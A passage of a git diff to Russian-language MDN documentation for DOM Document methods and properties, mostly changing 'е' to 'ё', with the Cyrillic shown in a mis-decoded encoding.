<li>getElementsByClassName ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ элСмСнту, Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ. ("document"). Π­Π»Π΅ΠΌΠ΅Π½Ρ‚, ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ осущСствляСтся Π²Ρ‹Π·ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ†Π΅Π»Π΅ΠΉ поиска Π² качСствС ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта.</li>
</ul>
@@ -32,7 +32,7 @@ translation_of: Web/API/Document/getElementsByClassName
<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
-<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΠ· Array.prototype ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ любой {{ domxref("HTMLCollection") }}, пСрСдавая ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΡŽ Π² качСствС значСния <em>this</em> ΠΌΠ΅Ρ‚ΠΎΠ΄Π°. Код Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚ всС элСмСнты 'div' с классом 'test':</p>
+<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΠ· Array.prototype ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ любой {{ domxref("HTMLCollection") }}, пСрСдавая ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΡŽ Π² качСствС значСния <em>this</em> ΠΌΠ΅Ρ‚ΠΎΠ΄Π°. Код Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ всС элСмСнты 'div' с классом 'test':</p>
<pre class="brush: js">var testElements = document.getElementsByClassName('test');
var testDivs = Array.prototype.filter.call(testElements, function(testElement){
@@ -41,7 +41,7 @@ var testDivs = Array.prototype.filter.call(testElements, function(testElement){
<h2 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_элСмСнтов_класса_'test'">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ элСмСнтов класса 'test'</h2>
-<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ способа использования Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°.</p>
+<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ способа использования Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°.</p>
<pre>&lt;!doctype html&gt;
&lt;html&gt;
diff --git a/files/ru/web/api/document/getelementsbytagname/index.html b/files/ru/web/api/document/getelementsbytagname/index.html
index 2829204e72..e737d72165 100644
--- a/files/ru/web/api/document/getelementsbytagname/index.html
+++ b/files/ru/web/api/document/getelementsbytagname/index.html
@@ -19,7 +19,7 @@ translation_of: Web/API/Document/getElementsByTagName
<pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre>
<ul>
- <li><code>elements</code> это Тивая {{domxref("HTMLCollection")}} (с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ примСчания Π²Π½ΠΈΠ·Ρƒ) Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² Ρ‚Π°ΠΊΠΎΠΌ порядкС Π² ΠΊΠ°ΠΊΠΎΠΌ ΠΎΠ½ΠΈ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π² Π΄Π΅Ρ€Π΅Π²Π΅.</li>
+ <li><code>elements</code> это Тивая {{domxref("HTMLCollection")}} (с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ примСчания Π²Π½ΠΈΠ·Ρƒ) Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² Ρ‚Π°ΠΊΠΎΠΌ порядкС Π² ΠΊΠ°ΠΊΠΎΠΌ ΠΎΠ½ΠΈ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π² Π΄Π΅Ρ€Π΅Π²Π΅.</li>
<li><code>name</code> строка ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ собой имя элСмСнта. Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Π°Ρ строка "*" позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ всС элСмСнты.</li>
</ul>
diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html
index 8645de05b4..b10712eb87 100644
--- a/files/ru/web/api/document/head/index.html
+++ b/files/ru/web/api/document/head/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Document/head
---
<p>{{APIRef("DOM")}}</p>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ элСмСнт {{HTMLElement("head")}} Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Если имССтся Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта <code>&lt;head&gt;</code>, Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ….</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ элСмСнт {{HTMLElement("head")}} Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Если имССтся Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта <code>&lt;head&gt;</code>, Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ….</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/document/importnode/index.html b/files/ru/web/api/document/importnode/index.html
index 4aa38a3763..95efbef96f 100644
--- a/files/ru/web/api/document/importnode/index.html
+++ b/files/ru/web/api/document/importnode/index.html
@@ -5,9 +5,9 @@ translation_of: Web/API/Document/importNode
---
<div>{{APIRef("DOM")}}</div>
-<p><span class="seoSummary">ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>importNode()</strong></code>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{domxref("Document")}} создаСт копию {{domxref("Node")}} ΠΈΠ»ΠΈ {{domxref("DocumentFragment")}} ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ вставки Π² Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</span></p>
+<p><span class="seoSummary">ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>importNode()</strong></code>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{domxref("Document")}} создаёт копию {{domxref("Node")}} ΠΈΠ»ΠΈ {{domxref("DocumentFragment")}} ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ вставки Π² Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</span></p>
-<p>Π˜ΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΡƒΠ·Π΅Π» ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² вставки, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β  {{domxref("Node.appendChild", "appendChild()")}} ΠΈΠ»ΠΈ {{domxref("Node.insertBefore", "insertBefore()")}} с ΡƒΠ·Π»ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ <em>находится</em> Π² Π΄Π΅Ρ€Π΅Π²Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</p>
+<p>Π˜ΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΡƒΠ·Π΅Π» ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² вставки, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β  {{domxref("Node.appendChild", "appendChild()")}} ΠΈΠ»ΠΈ {{domxref("Node.insertBefore", "insertBefore()")}} с ΡƒΠ·Π»ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ <em>находится</em> Π² Π΄Π΅Ρ€Π΅Π²Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</p>
<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{domxref("document.adoptNode()")}}, исходный ΡƒΠ·Π΅Π» Π½Π΅ удаляСтся ΠΈΠ· исходного Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π˜ΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΡƒΠ·Π΅Π» являСтся ΠΊΠ»ΠΎΠ½ΠΎΠΌ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»Π°.</p>
diff --git a/files/ru/web/api/document/index.html b/files/ru/web/api/document/index.html
index 0437405ed7..77f9977abf 100644
--- a/files/ru/web/api/document/index.html
+++ b/files/ru/web/api/document/index.html
@@ -60,7 +60,7 @@ translation_of: Web/API/Document
<dt>{{domxref("Document.inputEncoding")}} {{Deprecated_inline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ, которая использовалась Π²ΠΎ врСмя парсинга Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</dd>
<dt>{{domxref("Document.lastStyleSheetSet")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ имя послСднСго Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Ρ‚Π°Π±Π»ΠΈΡ† стилСй. Π˜ΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>null</code> , ΠΏΠΎΠΊΠ° Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° ΠΏΡƒΡ‚Π΅ΠΌ установки значСния {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ имя послСднСго Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° Ρ‚Π°Π±Π»ΠΈΡ† стилСй. Π˜ΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>null</code> , ΠΏΠΎΠΊΠ° Ρ‚Π°Π±Π»ΠΈΡ†Π° стилСй Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° ΠΏΡƒΡ‚Ρ‘ΠΌ установки значСния {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd>
<dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt>
<dd><code>true</code> Ссли этот Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ являСтся синтСтичСским, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅Β ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ, Π²ΠΈΠ΄Π΅ΠΎ, Π°ΡƒΠ΄ΠΈΠΎ Ρ„Π°ΠΉΠ»Ρ‹, ΠΈΠ»ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅.</dd>
<dt>{{domxref("Document.mozFullScreen")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt>
diff --git a/files/ru/web/api/document/keypress_event/index.html b/files/ru/web/api/document/keypress_event/index.html
index cf6158c111..ac1a90647a 100644
--- a/files/ru/web/api/document/keypress_event/index.html
+++ b/files/ru/web/api/document/keypress_event/index.html
@@ -3,7 +3,7 @@ title: keypress
slug: Web/API/Document/keypress_event
translation_of: Web/API/Document/keypress_event
---
-<p><span class="seoSummary">Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>keypress</code> происходит ΠΊΠΎΠ³Π΄Π° наТимаСтся символьная клавиша, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ клавиша которая создаСт символ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΡ… клавиш это буквы, Ρ†ΠΈΡ„Ρ€Ρ‹, Π·Π½Π°ΠΊΠΈ ΠΏΡƒΠ½ΠΊΡ‚ΡƒΠ°Ρ†ΠΈΠΈ ΠΈ Ρ‚.Π΄. ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ клавиш ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ символы, это клавиши ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ:Β </span><kbd>Alt</kbd>,Β <kbd>Shift</kbd>,Β <kbd>Ctrl</kbd>, or <kbd>Meta</kbd><span class="seoSummary">.</span></p>
+<p><span class="seoSummary">Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>keypress</code> происходит ΠΊΠΎΠ³Π΄Π° наТимаСтся символьная клавиша, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ клавиша которая создаёт символ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΡ… клавиш это буквы, Ρ†ΠΈΡ„Ρ€Ρ‹, Π·Π½Π°ΠΊΠΈ ΠΏΡƒΠ½ΠΊΡ‚ΡƒΠ°Ρ†ΠΈΠΈ ΠΈ Ρ‚.Π΄. ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ клавиш ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ символы, это клавиши ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ:Β </span><kbd>Alt</kbd>,Β <kbd>Shift</kbd>,Β <kbd>Ctrl</kbd>, or <kbd>Meta</kbd><span class="seoSummary">.</span></p>
<h2 id="ΠžΠ±Ρ‰Π°Ρ_информация">ΠžΠ±Ρ‰Π°Ρ информация</h2>
diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html
index 4ec3c94009..69972a97d7 100644
--- a/files/ru/web/api/document/queryselector/index.html
+++ b/files/ru/web/api/document/queryselector/index.html
@@ -57,7 +57,7 @@ translation_of: Web/API/Document/querySelector
<h3 id="Π­ΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ…_символов">Π­ΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… символов</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒΒ ID или сСлСкторы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ стандартному синтаксису CSS (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Π½Π΅Π½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π΅Π»), Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ символ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ косой Ρ‡Π΅Ρ€Ρ‚ΠΎΠΉ ("<code>\</code>"). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ обратная косая Ρ‡Π΅Ρ€Ρ‚Π° Ρ‚Π°ΠΊΠΆΠ΅ являСтся ΡΠΊΡ€Π°Π½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌ символом Π²Β JavaScript, Ρ‚ΠΎ ΠΏΡ€ΠΈΒ Π²Π²ΠΎΠ΄Π΅ Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ строки Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅Β <em>Π΄Π²Π°ΠΆΠ΄Ρ‹</em>Β (ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· для строки JavaScript ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠΉ для <code>querySelector()</code>):</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒΒ ID или сСлСкторы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ стандартному синтаксису CSS (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Π½Π΅Π½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π΅Π»), Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ символ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ косой Ρ‡Π΅Ρ€Ρ‚ΠΎΠΉ ("<code>\</code>"). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ обратная косая Ρ‡Π΅Ρ€Ρ‚Π° Ρ‚Π°ΠΊΠΆΠ΅ являСтся ΡΠΊΡ€Π°Π½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌ символом Π²Β JavaScript, Ρ‚ΠΎ ΠΏΡ€ΠΈΒ Π²Π²ΠΎΠ΄Π΅ Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ строки Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘Β <em>Π΄Π²Π°ΠΆΠ΄Ρ‹</em>Β (ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· для строки JavaScript ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠΉ для <code>querySelector()</code>):</p>
<pre class="brush: html notranslate">&lt;div id="foo\bar"&gt;&lt;/div&gt;
&lt;div id="foo:bar"&gt;&lt;/div&gt;
@@ -78,7 +78,7 @@ translation_of: Web/API/Document/querySelector
<h3 id="Π’Ρ‹Π±ΠΎΡ€_ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ_элСмСнта_с_ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΌ_классом">Π’Ρ‹Π±ΠΎΡ€ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ элСмСнта с ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΌ классом</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π½Π°ΠΌ вСрнСтся ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ с классом "<code>myclass</code>":</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π½Π°ΠΌ вСрнётся ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ с классом "<code>myclass</code>":</p>
<pre class="brush: js notranslate">var el = document.querySelector(".myclass");
</pre>
diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html
index 52eb1850bb..6950772a90 100644
--- a/files/ru/web/api/document/readystate/index.html
+++ b/files/ru/web/api/document/readystate/index.html
@@ -24,9 +24,9 @@ translation_of: Web/API/Document/readyState
<dl>
<dt><code>loading</code></dt>
- <dd>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° всС Π΅Ρ‰Π΅ загруТаСтся.</dd>
+ <dd>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° всС Π΅Ρ‰Ρ‘ загруТаСтся.</dd>
<dt><code>interactive</code></dt>
- <dd>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° ΡƒΠΆΠ΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π° ΠΈ <a href="/en-US/docs/Glossary/DOM">DOM</a> дСрСво построСно, Π½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ рСсурсы, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ изобраТСния ΠΈ <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>, всС Π΅Ρ‰Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ.</dd>
+ <dd>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° ΡƒΠΆΠ΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π° ΠΈ <a href="/en-US/docs/Glossary/DOM">DOM</a> дСрСво построСно, Π½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ рСсурсы, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ изобраТСния ΠΈ <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>, всС Π΅Ρ‰Ρ‘ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ.</dd>
<dt><code>complete</code></dt>
<dd>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° ΠΈ всС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ рСсурсы ΡƒΠΆΠ΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹.Β Π­Ρ‚ΠΎ состояниС ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ событиС {{event("load")}} ΡƒΠΆΠ΅ Π²Ρ‹Π·Π²Π°Π½ΠΎ.</dd>
</dl>
@@ -39,7 +39,7 @@ translation_of: Web/API/Document/readyState
<pre class="brush: js notranslate"><span>switch (document.readyState) {
case "loading":
- // Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° всС Π΅Ρ‰Π΅ загруТаСтся
+ // Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° всС Π΅Ρ‰Ρ‘ загруТаСтся
break;
case "interactive":
Β  // Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° ΡƒΠΆΠ΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ DOM ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ.
diff --git a/files/ru/web/api/document/referrer/index.html b/files/ru/web/api/document/referrer/index.html
index 2855d99c69..b60801adbf 100644
--- a/files/ru/web/api/document/referrer/index.html
+++ b/files/ru/web/api/document/referrer/index.html
